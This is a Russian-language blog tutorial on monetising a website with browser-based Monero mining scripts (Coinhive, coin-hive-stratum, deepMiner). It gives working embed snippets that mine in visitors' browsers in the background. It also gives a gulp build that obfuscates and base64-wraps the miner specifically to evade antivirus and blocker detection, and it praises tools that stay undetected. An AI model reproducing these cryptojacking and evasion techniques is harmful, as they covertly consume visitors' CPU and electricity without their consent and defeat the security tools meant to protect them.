В последнее время я все чаще и чаще слышу такие слова как блокчейн, биткоин, майнинг и т.п. Об этом говорят все, поэтому далее я расскажу как можно заработать на своем сайте, занявшись веб майнингом Monero, используя специальные майнинг скрипты …
JavaScript майнинг?
Если не вдаваться в подробности и быть максимально кратким, то простыми словами веб майнинг ( браузерный майнинг ) — это новый и элегантный вид монетизации для вашего сайта в отличии от приевшейся всем рекламы. Т.е грубо говоря, вы вставляете на свой сайт какой-то кусок javascript кода (специальные майнинг скрипты), который магическим образом начинает нагружать процессоры приходящих пользователей и превращать последних в пассивных майнеров, добывающих своими мощностями вам монеты, которые успешно идут вам в кошелек. Далее, полученные криптомонеты можно спокойно обменять в обменнике на реальные деньги по хорошему курсу, поиграть с ними на биржах ну или просто копить и ждать когда курс «выстрелит» и обменять на большие деньги ну или остаться ни с чем, в случае если курс просядет и все обвалится.
Таким образом, в месяц на сайте можно заработать пассивно от 50-80$ в зависимости от вашего ресурса, посещаемости, удержания ит.п (это очень важный момент, но о нем позже). Звучит все красиво? Да! Но к сожалению есть нюансы, и их достаточно много. И первый из нюансов — это понимание, т.к нужно хотя бы минимально разбираться как, что и для чего работает, но об этом ниже.
Если вся информация выше, у вас вызвала еще больше вопросов нежели ответов, то я настоятельно советую вам, перед дальнейшим прочтением ознакомиться со всеми аспектами майнинга и вообще с криптовалютным миром в целом.
Общие требования
Перед тем как продолжить чтение и погрузиться в пучину web майнинга, я настоятельно советую вам ознакомиться со списком ниже, который возможно вас отрезвит и оттолкнет от затеи майнить, т.к существует несколько очень «скользких» моментов:
- Для извлечения прибыли JavaScript майнер имеет смысл устанавливать, только на «жирные» и раскрученные сайты с посещаемостью хотя бы от 300-400 уников в сутки и хорошим временем удержания пользователей. В противном случае на таком майнинг сайте вы максимально сможете заработать на ежемесячную халявную плитку шоколадки или вообще ничего;
- Майнер работает только в современных браузерах (на v8 например и т.п) поддерживающих webassembly/asm технологии;
- В свою же очередь, конфликтуя со вторым пунктом выше, известные JS майнеры (сайты с ними) все чаще и активнее блокируются: самими браузерами, поисковыми системами, антивирусами, расширениями и даже пулами! Этот пункт пожалуй самый противоречивый, рискованный и непонятный, о котором я напишу более подробно дальше в статье;
- Относительно маленькое сообщество + мало информации относительно всего JS майнинга в целом, поэтому приготовьтесь штудировать огромное количество англоязычных источников в белом и луковичном интернете для поиска ответов;
- На момент написания статьи, можно майнить только два типа криптовалюты — Monero (XMR) или Electroneum (ETN), что особо не дает возможности развернуться и вы становитесь привязаны к этим двум вариантам.
Вышеперечисленные 5 пункта я выделил как самые важные и базовые, от которых следует отталкиваться и решить — нужно оно все вам или нет.
Что нужно для начала майнинга
- Все примеры из статьи можно запускать на тестовом localhost или непосредственно на боевом хостинге (я буду использовать vps в примерах). Кстати, в своих публикациях я обозревал один быстрый и дешевый VPS хостинг, который вы можете использовать в качестве тестирования, либо используя рейтинг серверов найти подходящий для себя вариант;
- Убедитесь, что имеете свежие версии Node.js, npm и т.п, а также заведите кошельки (куда будут приходить монетки) для Monero или Electroneum (подробные руководства по созданию/настройке кошельков вы можете прочитать на сайтах этих криптовалют);
- Нормальный браузер — Chrome например (лучше в режиме инкогнито);
- Отключите все антивирусные программы и расширения блокирующие рекламу и веб майнеры, такие как: AdBlock, Adguard Антибаннер, uBlock Origin и др.
Теперь, давайте перейдем к скриптам с помощью которых можно начать зарабатывать на своем сайте.
Coinhive
Довольно молодой ресурс — , появился в октябре 2017 года и через несколько недель уже был заблокирован популярными антивирусами и некоторыми расширениями, по причине того, что js майнер — coinhive .min.js запускается в фоне у пользователя и тот не подозревает, что его ЦП майнит и эксплуатируется сторонним ресурсом.
Поэтому через несколько недель был введен другой скрипт — authedmine.min.js , который запускается у пользователя в фоне только после его согласия:
Однако, он также был успешно заблокирован, но уже меньшим количеством антивирусов и расширений (хоть этот скрипт и позиционирует себя как — «A Non-Adblocked Miner», но это не так). Кстати, для того что бы определить, что скрипт майнера успешно работает, просто проверьте нагрузку на ЦП (при открытой вкладке со скриптом). Если нагрузка большая — все в порядке, в противном случае что-то не так. Если скрипт блокируется/не работает, то вы естественно будете видеть отсутствие нагрузки на ЦП + на вкладке Network или Console в Google Developer Tools (F12 или ^+Shift+I) будет примерная картина:
Плюсы:
- Легкая интеграция (подключаем скрипт, добавляем инициализацию);
- Широкий функционал (майнер может быть в виде: капчи, ссылки, UI блока, API и др);
- Хорошая и подробная документация;
- Удобный личный кабинет с детальной статистикой.
Минусы:
- Не работает у большинства посетителей. На данный момент обе версии активно блокируются антивирусами, самими браузерами (например Yandex браузер, Opera) и расширениями. Следовательно с таких посетителей доход будет нулевым и с каждым днем смысл использовать coinhive стремится к нулю;
- Можно добывать только Monero;
- Неадекватный порог вывода средств 0,02 XMR с комиссией или 0,5 XMR без нее (учитывая возрастающую сложность этот порог для начинающих может быть крайне неудобен);
- Полная стагнация проекта и нежелание противостоять неадекватным блокировкам и запретам. Например, с начала существования, coinhive активно использовал ThePirateBay и SafeBrowse расширение, но и они вынуждены были отказаться (даже с их не маленьким трафиком) от coinhive .
Подключение
Тут все довольно просто и банально. Добавляем свой сайт в Settings -> Sites & API Keys
, копируем публичный ключ и вставляем его в код инициализации на сайте:
<script> var miner = new CoinHive.Anonymous('YOUR_SITE_KEY', {throttle: 0.3}); miner.start(); </script>
После этого заходим на сайт, где установлен код и уже через несколько минут в личном кабинете coinhive можно увидеть плавающие графики со скоростью и другой информацией.
Coin hive stratum
Альтернативный вариант, и своего рода глоток свежего воздуха после coinhive, с помощью которого, можно организовать майнинг у себя на сайте разными способами и с достаточно хорошим обходом антивирусов и спец. расширений. Естественно этот скрипт не лишен изъянов, но при его использовании возникают проблемы с подключением к пулам (pools ) т.к последние активно блокируют веб майнеров по причине многочисленных подключений/отключений, делая майнинг еще более рискованным занятием. Поэтому велика вероятность того, что при использовании какого-либо пула вас могут просто забанить (например это произошло с пулом pool.supportxmr.com:3333, который просто отключили для веб майнеров по причине огромного нашествия от Coin hive stratum ) и никаких денег вы уже не получите.
Плюсы:
- Достаточно простая и многообразная интеграция (сложности могут лишь возникнуть при поднятии прокси на vps);
- Хорошая документация;
- Можно добывать Monero и Electroneum;
- Возможность выбирать пул или использовать свой собственный (например поднять на своем vps);
- Не так сильно блокируется как coinhive, а при должной обфускации кода и переносе на свой vps можно добиться почти полноценной работы без блокировок со стороны антивирусов и расширений.
- Инициализация и параметры майнера такие же как и на coinhive только вместо
new CoinHive.Anonymous
используетсяCH.Anonymous
Минусы:
- Сложности/блокировки на пулах + не каждый пул может подойти;
- Все еще обнаруживается отдельными антивирусами и расширениями;
- Скрипт достаточно сырой и есть некоторые баги (разрывы подключений, неадекватная работа в firefox).
Подключение
Ниже, я рассмотрю два типа подключения, которые на мой взгляд являются самыми интересными + добавлю кое-что от себя:
Подключение через now.sh/Heroku + pool
Весь процесс описан у автора, но имеет ряд недостатков:
- Явно указанные now.sh/Heroku блокируются некоторыми расширениями;
- src подключения очень большой и некрасивый ;
- Скрипт подключается из github форка;
- В консоли выводится информация, которую посетителям лучше не видеть:
Правильный порядок действий:
- Регистрируемся на now.sh -> Create a new token here -> Подтверждаем email -> Создаем токен:
Копируем ключ:
Разворачиваем:
Получаем адрес wss:
- Делаем fork репозитория и обязательно переименовываем репо в my-proxy после переходим по адресу
https://<YOUR-GITHUB-USERNAME>.github.io/my-proxy/m.js
; - Копируем base64 код в
atob
функции и на этом сайте (decode вкладка) расшифровываем его и получившийся js копируем в любой редактор; - Находим ~~184 строку и меняем
var libUrl = null;
наvar libUrl = 'https://<YOUR-GITHUB-USERNAME>.github.io/my-proxy/';
; - Находим ~~ 193 строку и меняем
const proxyUrl = decodeURIComponent(scriptTag[0x0][_0x989d("0x6")]["split"](_0x989d("0xa"))[0x1]);
наconst proxyUrl = 'URL из первого шага + пул = wss://coin-hive-stratum-1488228.now.sh?pool=pool.somepool.com:3333';
- Код между 184 — 193 линией удаляем + console.log. В итоге все должно выглядеть так (на 5 шаге приведен пример несуществующего бассейна, поэтому замените его на любой другой. ):
- Теперь давайте сохраним файл в папке, откроем консольку, введем
npm init
и немного автоматизируем это дело на будущее; - В сгенерированный
package.json
добавляем/изменяем следующий код и после выполняемnpm install
:"devDependencies": { "babel-preset-env": "^1.6.1", "gulp": "^3.9.1", "gulp-babel": "^7.0.0", "gulp-extname": "^0.2.2", "gulp-load-plugins": "^1.5.0", "gulp-rename": "^1.2.2", "gulp-uglify": "^3.0.0", "babel-core": "^6.26.0", "base-64": "^0.1.0", "event-stream": "^3.3.4", "fs": "0.0.1-security", "gulp-javascript-obfuscator": "^1.1.4" },
- Для сборки я буду использовать gulp, поэтому создаем
gulpfile.js
и добавляем таскbuild
:var $ = require('gulp-load-plugins')(); var gulp = require('gulp'); var rimraf = require('rimraf'); var es = require('event-stream'); var fs = require('fs'); var base64 = require('base-64'); var babel = require('gulp-babel'); /*-----------------------------------------------*/ gulp.task('build', function(cb) { es.concat( gulp.src('sourcefile.js') .pipe(babel({ presets: ['env'] })) .pipe($.uglify()) .pipe($.javascriptObfuscator({ compact:true })) .pipe($.rename('destfile.min.js')) .pipe(gulp.dest('../')) ).on('end', function(){ var fileContent = fs.readFileSync('destfile.min.js', "utf8"); var encoded = base64.encode(fileContent); fs.writeFile('destfile.min.js', 'new Function(atob("'+encoded+'"))()', cb); }); });
- Теперь осталось выполнить
gulp build
и сгенерированный + обфусцированный + зашифрованный файл закинуть на хостинг и подключить его следующим образом:<script src="destfile.min.js"></script> <script> if(typeof CH != "undefined") { var miner = CH.Anonymous('ТУТ УКАЗЫВАЕМ адрес вашего Monero кошелька', {throttle: 0.3}); miner.start(); } </script>
- Теперь мы имеем красивое подключение + автоматизированный сборщик для «жонглирования» пулами при необходимости и что самое главное, теперь мы скрыты от некоторых антивирусов, которые не видят «майнинг» следов.
Теперь после всех шагов, заходим на сайт, где установлен код и уже через несколько минут на пуле, который вы указали на 2 шаге начнет отображаться статистика по добыче.
Подключение через ваш vps proxy
Весь процесс описан у автора, но хочу выделить несколько пунктов:
- В качестве vps не обязательно использовать DigitalOcean, а можно например Vultr — цены ниже, а функционал такой же + для старта как раз подойдет;
- Перед запуском прокси, убедитесь, что прослушиваемый порт
proxy.listen(443);
открыт/свободен, а лучше переопределить текущий 443 порт на какой-нибудь 7777 , во избежание проблем с Apache (если таковой имеется естественно).
deepMiner
На момент написания статьи — самая продвинутая и перспективная разработка по сравнению с двумя предыдущими. По принципу работы напоминает гибрид coinive и coin hive statum.
Плюсы:
- Относительно простая инициализация;
- Можно добывать Monero и Electroneum;
- Есть пул от разработчика(pool.elitexmr.com:8080), который 100% не даст бан, но имеет малую сложность;
- Возможность выбирать пул или использовать свой собственный (например поднять на своем vps);
- На момент написания статьи никак не блокируется и не обнаруживается антивирусами/расширениями;
- Инициализация и параметры майнера такие же как и на coinhive или coin hive statum.
Минусы:
- Сложности/блокировки на пулах + не каждый пул может подойти;
- Нет хорошей документации.
Чтобы подключиться и начать браузерный майнинг, нужно иметь свой настроенный/готовый vps (ssl+node и т.п) . Кстати, вы можете прочитать подробную статью о том как поднять SSL за пять минут по этой ссылке, ну или использовать другие проверенные источники. Теперь выполняем последовательно команды и собираем конфигурацию в config.json файл:
curl https://raw.githubusercontent.com/deepwn/deepMiner/master/install.sh > install.sh sudo sh install.sh
В процессе установки можете просто везде жать Enter, т.к все равно потом этот файл (config.json) вы сможете настроить по своему вкусу. Итак, после установки выполните следующую команду — nano /srv/deepMiner/config.json
и заполните все необходимые поля :
- lhost, domain — ваш домен,ваш домен:порт;
- pool— ваш пул ;
- addr — кошелек Monero (на некоторых пулах в конце кошелька вводиться доп.информация: ваш email, сложность, id воркера и т.п );
- pass — пароль, который иногда требуют пулы (по умолчанию всегда x)
- key, cert — путь к ключам let’s encrypt
Сохраните файл и запустите в терминале команду forever start server.js
и в браузере откройте страницу https://myvps.com:7777/demo.html:
Если вы увидели эту страницу, то все в порядке и теперь можете смело добавлять на своих сайтах следующий код, который будет автоматически начинать майнить в фоновом режиме:
<script src="https://myvps.com:7777/deepMiner.min.js"></script> <script> if(typeof deepMiner !== 'undefined') { var miner = new deepMiner.Anonymous('deepMiner_test', { autoThreads: true }); miner.start(); } </script>
Итог
В этой статье, я лишь поверхностно рассмотрел некоторые скрипты для добычи криптовалют, возможно есть более лучшие и продвинутые варианты, однако на сегодняшний день, как мы видим, все больше и больше скриптов по добыче подвергаются блокировкам и другому прессингу… И это на самом деле очень печально. Однако, я считаю, что за подобной «монетизацией» будущее и революция неизбежна, в ходе которой реклама окончательно должна умереть, либо занять свою минимальную нишу. Ведь подумайте, как было бы здорово, заходить на любые сайты и не видеть там очередную раздражающую рекламу от Азино 777 или начинать просмотр онлайн видео без вставок про Джойказино и т.п, а лишь получать нагружаемый ЦП на какие-нибудь 20-40% при просмотре сайта.